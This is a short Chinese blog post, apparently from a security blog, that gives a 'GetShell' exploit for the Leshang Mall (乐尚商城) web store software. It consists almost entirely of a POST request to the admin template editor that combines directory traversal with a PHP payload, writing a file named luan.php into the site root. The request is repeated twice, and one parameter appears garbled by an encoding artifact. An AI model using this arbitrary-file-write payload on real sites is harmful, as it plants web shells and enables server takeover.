乐尚商城GetShell

http://127.0.0.1/admin.php/code/mod
POST:tpl_content=<?php phpinfo()?>&name=luan.php&dir=index/../../../..¤t_dir=tpl
 
phpinfo()就写在根目录的luan.php里面了。

http://127.0.0.1/admin.php/code/mod

POST:tpl_content=<?php phpinfo()?>&name=luan.php&dir=index/../../../..¤t_dir=tpl

phpinfo()就写在根目录的luan.php里面了。

转载请注明： 转载自Legend‘s BLog

本文链接地址: 乐尚商城GetShell

请尊重作者，转载请以链接形式标明原文地址